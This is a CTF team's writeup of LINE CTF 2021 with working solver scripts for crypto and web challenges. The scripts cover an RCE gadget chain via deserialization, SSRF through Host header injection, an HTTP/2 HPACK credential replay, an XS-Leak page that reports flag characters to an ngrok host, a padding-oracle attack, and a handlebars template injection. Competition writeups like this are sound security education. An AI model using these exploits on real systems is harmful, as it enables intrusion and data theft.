Try   HackMD

LINE CTF 2021 Writeup - Team TSG

Welcome @moratorium08

:)

babycrypto1 @hakatashi

We can encode arbitrary block with chosen IV, so we can extend the given block with arbitrary content.

from ptrlib import Socket, logger
from base64 import b64encode, b64decode
from Crypto.Cipher import AES

con = Socket('35.200.115.41', 16001)
test = b64decode(con.recvlineafter('test Command: '))
iv = test[:AES.block_size]
cipher = test[AES.block_size:]
token_block = cipher[:-AES.block_size]
command_block = cipher[-AES.block_size:]

con.sendlineafter('IV...: ', b64encode(token_block[-AES.block_size:]))
con.sendlineafter('Message...: ', b64encode(b'show'))
result = b64decode(con.recvlineafter('Ciphertext:'))
new_iv = result[:AES.block_size]
new_block = result[AES.block_size:]

exploit = b64encode(iv + token_block + new_block)
con.sendlineafter('Enter your command: ', exploit)
logger.info(con.recvuntil('}'))

LINECTF{warming_up_crypto_YEAH}

babycrypto2 @hakatashi

With chosen iv we can rewrite the first block into arbitrary content.

from ptrlib import Socket, logger
from base64 import b64encode, b64decode
from Crypto.Cipher import AES
from Crypto.Util.number import bytes_to_long, long_to_bytes

con = Socket('35.200.39.68', 16002)
test = b64decode(con.recvlineafter('test Command: '))
iv = test[:AES.block_size]
cipher = test[AES.block_size:]

new_iv_num = bytes_to_long(iv) ^ bytes_to_long(b'testxxx') ^ bytes_to_long(b'showxxx')
new_iv = long_to_bytes(new_iv_num, 16)

exploit = b64encode(new_iv + cipher)
con.sendline(exploit)
logger.info(con.recvuntil('}'))

LINECTF{echidna_kawaii_and_crypto_is_difficult}

babycrypto3 @nora妖怪風呂敷広げやねん(妖怪風呂敷広げなので)

$ openssl rsa -in pub.pem -pubin -text
RSA Public-Key: (394 bit)
Modulus:
    03:28:b1:41:39:a2:e5:4b:88:a4:66:2f:1a:67:cc:
    3a:cd:19:29:c9:b6:27:94:bb:64:91:6a:ff:02:99:
    1f:80:45:6e:4d:0e:ed:4d:59:1d:f7:70:8d:5a:f2:
    e9:b4:fb:56:89
Exponent: 65537 (0x10001)
writing RSA key
-----BEGIN PUBLIC KEY-----
ME0wDQYJKoZIhvcNAQEBBQADPAAwOQIyAyixQTmi5UuIpGYvGmfMOs0ZKcm2J5S7
ZJFq/wKZH4BFbk0O7U1ZHfdwjVry6bT7VokCAwEAAQ==
-----END PUBLIC KEY-----
N = 31864103015143373750025799158312253992115354944560440908105912458749205531455987590931871433911971516176954193675507337
e = 65537

I don't know why, but I can guess the prime.

p = 291664785919250248097148750343149685985101

LINECTF{CLOSING THE DISTANCE.}

babycrypto4 @hakatashi

We have the approximate value of

ki as
ki
. By letting
ei:=kiki
,

siki=mi+ridmodnsi(ki+ei)=mi+ridmodnrisid=kimisi+eimodn

Then this is HNP (Hidden number problem).

from sage.modules.free_module_integer import IntegerLattice

# Babai's Nearest Plane algorithm
# from: http://mslc.ctf.su/wp/plaidctf-2016-sexec-crypto-300/
def Babai_closest_vector(M, G, target):
  small = target
  for _ in range(1):
    for i in reversed(range(M.nrows())):
      c = ((small * G[i]) / (G[i] * G[i])).round()
      small -= M[i] * c
  return target - small

signs = [
  (0x92acb929727872bc1c7a5f69c1c3c97ae1c333e2, 0xe060459440ebc11a7cd811a66a341f095f5909e5, 0xef2b0000, 0x68e548ef4984f6e7d05cbcea4fc7c83393806bbf),
  (0xb0f5df566a323de9c9449b925d29b84a607c6b5d, 0x84e39e417e47b4fcaf344255103c61ecaaec4129, 0xc1c00000, 0x1a79e7b0308805508d79f2600a01e70d4f56559e),
  (0xc90081698382f98c817a137db22f11a846d699fe, 0x2f8fbb7e74b789cd762b30930ef21862a5fd68ee, 0x841b0000, 0x95e3302e197be4d8335cf0d17cc70860ea5317f7),
  (0x9d84669314b014bc83f3ac53ddcf3c9536c940b1, 0x8b1a69d6e9d75f1698144badc7b93f9a2347839d, 0xa1c90000, 0xc7af08154a154ac8c58eb14380955834093b3863),
  (0x96d5439a01f47e92be9ff40bee1fecb033b70d3f, 0x1c23660695d16bf03ef40e5ef53bdc92a5d348e7, 0x816e0000, 0x9d3f0dc80e962b9377ed22de66d6421457bcaf5d),
  (0x3ea39f6c446918690b395ba181f6d5d08444897a, 0x4478e239338ec6652815d03b8decb2d4f58beaba, 0x9d050000, 0x478e00e6191477e6cdd17a29719d96d02e5e8960),
  (0xbd1cbcd26fb6cb41878ec155fb2506534e803c97, 0xd732fbda187222d85e9a14243b007cc25e1b6b7c, 0x445a0000, 0x2493379cf90246fe7316963c65f28cd9b0a6ecd4),
  (0x727f7f05a9096beb6d5f65acce6fe42ec3a07dc9, 0x8511715efb01ff83b04fe82fb7535dc7de40abef, 0x91d0000, 0x6ce034dddd5470034068c5146fae4dd039aacaf6),
  (0x513ed0e15f8f3405bf0083a2186926fe60ccb65e, 0x28892ebcc428f2a566b39a2dbe03ec436641c948, 0x879d0000, 0xfe4e2564369a23e07efbf82d01c5ae7e72cd8105),
  (0xebf3e23fbe73c5f50032c8e4a3d8359fef203a03, 0xa5b79ae6f8ed237a05b4325c02b8dfe7b9ff5aa7, 0x98950000, 0x762309f98ebac533fece5321736fc6ba95d8382b),
  (0xc49cdbf6ec3b73188238291fa960675a099b74a0, 0xeabb1e7dcd20115a47b94ecfe8780f676e237437, 0x287a0000, 0x523ea75c4310ac1ac64fa28cc5047b7223e8da0b),
  (0x9e8a731a26f509793e2b8778cd75b518549ab9c8, 0x27be029029db9d62cdb729bc592cb0a4e6168bf3, 0xebc80000, 0x9f0e9e95661f5e93c90b72af0dce38c673c7ef16),
  (0xa74159f377749ad36efc28f9c7608a6758009af, 0xa3ce2671944b01f633265a6458ce2cca8b72eda6, 0x574c0000, 0x16e12f9dece23681927be002d24a0e4e6ed3ae7e),
  (0xcb0a427a05b3e3dcb18a1bb66f9340d2a0c721ab, 0x4a242cca295c6018f4a65d1fadbdb45731cccd7a, 0x23f40000, 0xd7e0a09d8aed604bc1fda1f1965c4a8bf6b58621),
  (0x5dc440585c88e75da002f941520867add07f93ef, 0x3612124de46659ef7d79d46f1eb05707e313b84d, 0x65850000, 0xca6547a9e3f08bd36f700b7282a36033250971ad),
  (0x6e009a8f5138a5b94d4e81b5f2a07ee29b413b39, 0x8b3c33c15dca93248f840324d540b7956251d1e0, 0xb4f80000, 0xe916da678253ff7b31453ba1ec709eb909b37c5d),
  (0x5091314db6155d7a96c1b19098ca235cf86d1f77, 0x2c62bf21452a2b326e8db27fb3345e10c63b2821, 0x452c0000, 0x31dd06dcf95fb04a734149eed64b7b99a575d56e),
  (0x2f6eed036a46ca6e309d8d7292bd3b0796607fcc, 0x63b4524f47dcde603426c48bbb2f308bc474e5ce, 0x63780000, 0xe108d036a12b4f15cc9af89688d26634c5dfc32a),
  (0x247ca1d3450a85612e6176ea5dfec4aeb90e2a3f, 0x66b1f9f04e284e28f44402f1ca7803c90786d9c2, 0x48a0000, 0xd58c608cc4d3adfc131c73cccff952c1d310a1e0),
  (0xab04fc0c4981b047622c786662091f7efbbbd807, 0xa2853851df0aaed34dc972bcf7d7d5ffbbc2b401, 0x9d040000, 0x5bdd98b548b8b0f48a56fb4c41e6d09bf8bd1b0e),
]

n = len(signs)

p = 0x0100000000000000000001f4c8f927aed3ca752257
F = GF(p)

xs = [F(r) // F(s) for r, s, k, m in signs]

m = [list(map(int, xs))]
for i in range(n):
  v = [0] * n
  v[i] = p
  m.append(v)

zs = [int(F(k) - F(m) // F(s)) for r, s, k, m in signs]

m = matrix(ZZ, m)

lattice = IntegerLattice(m, lll_reduce=True)
E = lattice.reduced_basis

gram = E.gram_schmidt()[0]
res = Babai_closest_vector(E, gram, vector(ZZ, zs))

for z, v, sign in zip(zs, res, signs):
  r, s, k, m = sign
  e = v - z
  print(F(s * (k + e) - m) // F(r))

LINECTF{0c02d451ad3c1ac6b612a759a92b770dd3bca36e}

atelier @dai

I assumed that when the server receives RecipeCreateRequest it executes

# message: RecipeCreateRequest
items = message.materials.split(",")
item0 = items[0]
item1 = items[1]
# look up the recipe table... 

So I replaced object_to_dict in client script with the code below.

def object_to_dict(c): res = {} res["__class__"] = str(c.__class__.__name__) res["__module__"] = str(c.__module__) res.update(c.__dict__) if c.__class__.__name__ == 'RecipeCreateRequest': res["materials"] = { "__class__": "RandomSet", "__module__": "sqlalchemy.testing.util", "split": { "__class__": "BooleanPredicate", "__module__": "sqlalchemy.testing.exclusions", "value": { "__class__": "ConventionDict", "__module__": "sqlalchemy.sql.naming", "convention": [], "_key_0": { "__class__": "_class_resolver", "__module__": "sqlalchemy.ext.declarative.clsregistry", "arg": "exec(\"raise Exception(open('flag').read())\")", "_dict": {} }}}} return res

When the server receives this object, BooleanPredicate#__call__is called with an argument ",", and ConventionDict#__getitem__ is called and finally _class_resolver#__call__, which contains eval operation, is called with no arguments.

Exception: Exception('LINECTF{4t3l13r_Pyza_th3_4lch3m1st_0f_PyWN}\n')

diveinternal @kcz146

LanguageNormarize at private/app/main.py has an obvious SSRF.

def LanguageNomarize(request): if request.headers.get('Lang') is None: return "en" else: regex = '^[!@#$\\/.].*/.*' # Easy~~ language = request.headers.get('Lang') language = re.sub(r'%00|%0d|%0a|[!@#$^]|\.\./', '', language) if re.search(regex,language): return request.headers.get('Lang') try: data = requests.get(request.host_url+language, headers=request.headers) if data.status_code == 200: return data.text else: return request.headers.get('Lang') except: return request.headers.get('Lang')

Here, you can control request.host_url with any value by HTTP Host header, because nobody sees the value. You can specify Host: 127.0.0.1:5000 to access the internal endpoints such as integrityStatus, download and rollback.

Although download and rollback endpoints are protected by SignCheck, with the hard-coded privateKey, it's of no value.

privateKey = b'let\'sbitcorinparty' def SignCheck(request): sigining = hmac.new( privateKey , request.query_string, hashlib.sha512 ) if sigining.hexdigest() != request.headers.get('Sign'): return False else: return True

Then, just do

  1. Obtain current dbhash at integrityStatus API
  2. Compute integrityKey
  3. Download any file on the internet to backup/{file}
  4. Rollback from backup/{file}
require 'json' require 'net/http' require 'digest/sha2' require 'openssl' key = "let'sbitcorinparty" uri = URI('http://35.200.63.50/apis/coin') # uri = URI('http://localhost:12004/apis/coin') req = Net::HTTP::Get.new(uri.path) req['Host'] = '127.0.0.1:5000' Net::HTTP.start(uri.host, uri.port) do |http| req['Lang'] = 'integrityStatus' resp = http.request req p resp['lang'] p resp.body h = JSON.parse(resp['lang'])['dbhash'] qs = 'src=https://www.google.com/webhp' req['Lang'] = 'download?' + qs req['Key'] = Digest::SHA512.hexdigest(h) req['Sign'] = OpenSSL::HMAC.hexdigest('sha512', key, qs) resp = http.request req p resp['lang'] p resp.body qs = 'dbhash=' + 'webhp' req['Lang'] = 'rollback?' + qs req['Key'] = Digest::SHA512.hexdigest(h) req['Sign'] = OpenSSL::HMAC.hexdigest('sha512', key, qs) resp = http.request req p resp['lang'] p resp.body end

babyweb @kcz146

HTTP/2 has a header compression technology called HPACK.

With this feature, the client and the server share the context so that you don't have to resend the header that you preveiously sent in the same connection.

conn = create_connection() conn.request("GET", "/health") resp = conn.get_response() headers = { cfg["HEADER"]["USERNAME"]: cfg["ADMIN"]["USERNAME"], cfg["HEADER"]["PASSWORD"]: cfg["ADMIN"]["PASSWORD"], } conn.request("GET", "/auth", headers=headers) resp = conn.get_response() conn._new_stream() conn._send_cb(data["data"].encode('latin-1')) conn._sock.fill() return conn._sock.buffer.tobytes()

In this problem, you can send any data in data["data"] after a request with credentials in header was made in the same connection. Here, you can replay the /auth request without the knowledge of credentials by HPACK abuse.

To get an actual data to be sent,

  1. vendor the pip dependencies
    $ pip install -r requirements.txt -t vendor
  2. patch _send_fb in hyper to dump data
with self._lock: try: + import binascii + import sys + print(binascii.hexlify(data), file=sys.stderr) self._sock.sendall(data) except socket.error as e:
  1. patch public/src/internal.py like
conn = create_connection() conn.request("GET", "/health") resp = conn.get_response() headers = { cfg["HEADER"]["USERNAME"]: cfg["ADMIN"]["USERNAME"], cfg["HEADER"]["PASSWORD"]: cfg["ADMIN"]["PASSWORD"], } conn.request("GET", "/auth", headers=headers) resp = conn.get_response() - conn._new_stream() - conn._send_cb(data["data"].encode('latin-1')) - conn._sock.fill() - return conn._sock.buffer.tobytes() + import sys + print("BEGIN", file=sys.stderr) + conn.request("GET", "/auth", headers=headers) + print("END", file=sys.stderr) + return conn.get_response().read()
  1. send some request and see docker log.
linectf_babyweb_public | b''
linectf_babyweb_public | BEGIN
linectf_babyweb_public | b'0000060105000000058287c2c0bfbe'
linectf_babyweb_public | b''
linectf_babyweb_public | END
linectf_babyweb_public | 172.26.0.4 - - [22/Mar/2021 15:44:56] "POST /internal/health HTTP/1.1" 200 -
linectf_babyweb_httpd | 172.26.0.1 - - [22/Mar/2021:15:44:56 +0000] "POST /internal/health HTTP/1.1" 200 171

Then, send the obtained payload to the remote:

$ curl -XPOST http://35.187.196.233/internal/health \ -H "Content-Type: application/json" \ -d '{"type": "2", "data": "\u0000\u0000\u0006\u0001\u0005\u0000\u0000\u0000\u0005\u0082\u0087\u00c2\u00c0\u00bf\u00be"}' -v \ | cat {"result":true,"token":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoiYWRtaW4iLCJyb2xlIjoiYWRtaW4iLCJpYXQiOjE2MTYyNTY3MDR9.eaDbPz0kKHMZymYIIFmwb5FWcnufpsIZWzgRWh0AELg"}

In the almost same way, by the power of HPACK, you can make a request with only path and x-token overrided keeping the admin credentials.

Sakura @satos

const abi = JSON.parse('[{"inputs":[{"internalType":"address","name":"_admin_account","type":"address"},{"internalType":"address payable","name":"_fee_account","type":"address"},{"internalType":"string","name":"_description","type":"string"},{"internalType":"uint256","name":"_max_holders","type":"uint256"},{"internalType":"uint256","name":"_amount","type":"uint256"},{"internalType":"uint256","name":"_fixed_fee","type":"uint256"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[],"name":"AdminApprovalRequired","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint16","name":"_answer","type":"uint16"}],"name":"AdminApproved","type":"event"},{"anonymous":false,"inputs":[],"name":"Cancelled","type":"event"},{"anonymous":false,"inputs":[],"name":"Closed","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"from","type":"address"},{"indexed":false,"internalType":"uint256","name":"amount","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"answer","type":"uint256"}],"name":"Locked","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"from","type":"address"},{"indexed":false,"internalType":"uint16","name":"_answer","type":"uint16"}],"name":"UserJudged","type":"event"},{"inputs":[{"internalType":"uint16","name":"_answer","type":"uint16"}],"name":"adminJudge","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"cancelByAdmin","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"cancelByUser","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"getLocked","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getLockedList","outputs":[{"internalType":"address[]","name":"","type":"address[]"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint16","name":"_answer","type":"uint16"}],"name":"lock","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"revoke","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint16","name":"_answer","type":"uint16"}],"name":"userJudge","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]'); var Contract = require('web3-eth-contract'); var contract = new Contract(abi); var txdata = contract.methods.lock(2).encodeABI(); var Tx = require('ethereumjs-tx'); var privateKey = Buffer.from("804365e293b9fab9bd11bddd39082396d56d30779efbb3ffb0a6089027902c4a", "hex") var Saddr = "0xe7 cb 1c 67 75 2c bb 97 5a 56 81 5a f2 42 ce 2c e6 3d 31 13".split(' ').join(''); var rawTx = { nonce: '0x00', gasLimit: '0x27100', to: Saddr, value: '0x70000000000000000', data: txdata } var tx = new Tx.Transaction(rawTx); tx.sign(privateKey); var tjson = {}; for(let i=0;i<tx.raw.length;i++){ tjson[tx._fields[i]] = '0x' + tx.raw[i].toString('hex'); } var jstr = JSON.stringify(tjson); var idat = `-999931337\n${jstr}`; const fs = require('fs'); fs.writeFileSync('i',idat) // cat i - | nc 34.84.178.140 13000 // 1\n1\n4\n // LINECTF{S4kura_hira_hira_come_to_spring}

Your Note @hakatashi

When the search hits the flag, the JSON with Content-disposition: attachment;filename=result.json is downloaded.

So we searched the term "Content-Disposition" in XS-Leaks Wiki and Navigations | XS-Leaks Wiki gave us answer.

<!DOCTYPE html>
<html lang="en">
  <head>
    <meta charset="UTF-8" />
    <meta name="viewport" content="width=device-width, initial-scale=1.0" />
    <title>Exploit</title>
  </head>
  <body>
    <script>
      const log = (message) => {
        const img = document.createElement('img');
        img.src = `/answer/${message}`;
        document.body.appendChild(img);
      };
      const params = (new URL(document.location)).searchParams;
      const origin = params.get('origin');
      const prefix = params.get('prefix');

      const chars = 'abcdefghijklmnopqrstuvwxyz0123456789-}'.split('');

      const wins = [];
      for (const char of chars) {
        const url = `http://${origin}/search?q=${encodeURIComponent(prefix + char)}&download=true`;
        const win = window.open(url);
        wins.push(win);
      }

      setTimeout(() => {
        const answers = [];
        for (const [i, win] of wins.entries()) {
          try {
            win.origin;
            answers.push(chars[i])
          } catch (e) {
            // nop
          }
        }
        log(prefix + answers.join(','))
      }, 5000)
    </script>
  </body>
</html>
http://34.84.72.167/login?redirect=%40e300c5feadf1.ngrok.io%2Fexploit.html%3forigin=34.84.72.167%26prefix=LINECTF%7B1-kn0w-what-y0u-d0wn10ad

LINECTF{1-kn0w-what-y0u-d0wn10ad}

Solving this challenge was really (unnecessarily) exhausting because solving PoW is too slow and server downs during solving it many times.

3233 @kcz146

TL;DR It's a web challenge, so perform padding oracle attack.

You can join to alice:bob room by just connecting to socket.io endpoint with any session information and then emit('join', {room: 'alice:bob'}). In the room, any message from alice can be captured. You can even send message to alice.

However, the text in messages is encrypted with AES-CBC (See code around sendMessage in /3233-front/app/src/views/Chat.vue.) Though you can send any message, alice's browser will fail to decrypt your text because alice tries to decrypt it with a shared secret key with bob, so meaningless Really???

In this problem, alice's browser marks the received messages as read. You are notified through read packets which messages has been read by alice. When alice fails to decrypt a message, crypto library throws an exception, so read packet won't be sent.

It can be oracle for padding oracle attack against AES-CBC.

Some scripting will show you the decrypted FLAG.

const socket = require('socket.io-client')("http://34.84.186.5/", { path: '/api/socket', extraHeaders: { cookie: 'sessionId=s%3AJeDePsik5pbnZgUpEjJwyk8i9_eYe9EM.YCARMr3RZ%2BFT1PYrw7MLnlQeTIODr7cRVSy6LfZBGsE', }, }); socket.on('connection', () => console.log('connect!')); socket.on('message', (data) => { console.log(JSON.stringify({ ...data, ...{message: data.message.toString('hex')}, type: 'message', })); }); socket.on('read', (data) => { console.log(JSON.stringify({ ...data, type: 'read', })); }); socket.emit('join', {room: 'alice:bob'}); (async () => { for await (const line of process.stdin) { socket.emit('message', { message: Buffer.from((''+line).trim(), 'hex'), to: 'alice', }); } })();
require 'json' require 'thread' $read = {} $m2id = {} # original code is at https://github.com/mudge/padding-oracles class Oracle attr_reader :cipher def initialize(cipher) @cipher = cipher end def attack(ciphertext) ciphertext_blocks = cipher.split(ciphertext) ciphertext_blocks.each_cons(2).flat_map { |previous_block, target_block| m = Array.new(cipher.block_size) cipher.block_size.pred.downto(0).each do |i| pad = cipher.block_size - i padding_size = cipher.block_size - i - 1 butlast = previous_block[0, i] padding = padding_size.downto(1).map { |j| previous_block[cipher.block_size - j] ^ m[cipher.block_size - j] ^ pad } $res = Array.new(256) $q = 256.times.to_a threads = 20.times.map { Thread.start do while g = $q.shift warn g crafted_ciphertext = butlast + [previous_block[i] ^ g ^ pad] + padding + target_block $res[g] = cipher.valid_padding?(crafted_ciphertext.pack('C*')) && pad != g $q = [] if $res[g] end end } threads.map(&:join) m[i] = (0..255).find { |g| $res[g] } || pad warn 'progressing...', m.map{|x|x || 0x3f}.pack("C*") end m }.pack('C*') end end class Cipher attr_reader :block_size def initialize(data) @data = data @block_size = 16 end def valid_padding?(ciphertext) hex = ciphertext.unpack1("H*") id = nil loop do $io.puts hex sleep 0.5 id = $m2id[hex] break if id end warn 'detecting.... %s, %s' % [hex, id] sleep 1 res = $read[id] warn 'read! %s' % id if res res end def split(bytestring) bytestring.unpack('C*').each_slice(block_size).entries end end IO.popen('node client.js', "r+") do |io| $io = io nil until obj = JSON.parse(io.gets) and obj['type'] == 'message' and obj['from'] == 'alice' and obj['to'] == 'bob' puts obj msg = [obj['message']].pack("H*") Thread.new do loop do while obj = JSON.parse($io.gets) case obj['type'] when 'message' $m2id[obj['message']] = obj['id'] when 'read' $read[obj['id']] = true end end end end cipher = Cipher.new(msg) puts Oracle.new(cipher).attack(msg) end

ss

babysandbox @hakatashi

    if(!saveOptions.ext.includes('.ejs') || saveOptions.ext.length !== 4) isChecked = false;

can be bypassed by using an array like "ext": [".ejs", "", "", ".js"] and we can put the file with arbitrary extension.

In the rendering section:

res.render(`sandbox/${req.params.sandboxPath}/${req.params.filename}`, {flag});

is called. The res.render function uses the extension to determine which kind of template they use.

By looking at package.json, we can see the suspicious unused package hbs. This can be used to bypass <> check.

The remaining task is to crack handlebars to output flag variable without using the string flag.

After the tries after tries, I constructed the following payload.

{{#with this as |o|}}
  {{#with "fl" as |s|}}
    {{#with (s.concat "ag") as |n|}}
      {{#with (n.slice 0 4) as |p|}}
        {{lookup o p}}
      {{/with}}
    {{/with}}
  {{/with}}
{{/with}}

Final solver:

const axios = require('axios');

const exploit = `
{{#with this as |o|}}
  {{#with "fl" as |s|}}
    {{#with (s.concat "ag") as |n|}}
      {{#with (n.slice 0 4) as |p|}}
        {{lookup o p}}
      {{/with}}
    {{/with}}
  {{/with}}
{{/with}}
`;

(async () => {
  const filename = Array.from(Array(16).keys()).map(() => 'abcdefgh'[Math.floor(Math.random() * 8)]).join('');

  const res = await axios.post('http://localhost:8000/550a47c54a2c9d980a7b1ba202bebbbdbe37bd36954424d2c1d5d135bfd9f3cf', {
    contents: exploit,
    filename,
    ext: [".ejs", "a", "a", "a.hbs"],
  });
  console.log(res.data);

  try {
    const {data} = await axios.get(`http://localhost:8000/550a47c54a2c9d980a7b1ba202bebbbdbe37bd36954424d2c1d5d135bfd9f3cf/${filename}.ejs,a,a,a.hbs`);
    console.log(data);
  } catch (e) {
    console.log(e.response.data);
  }
})();

LINECTF{I_think_emilia_is_reallllly_t3nshi}

Definitely.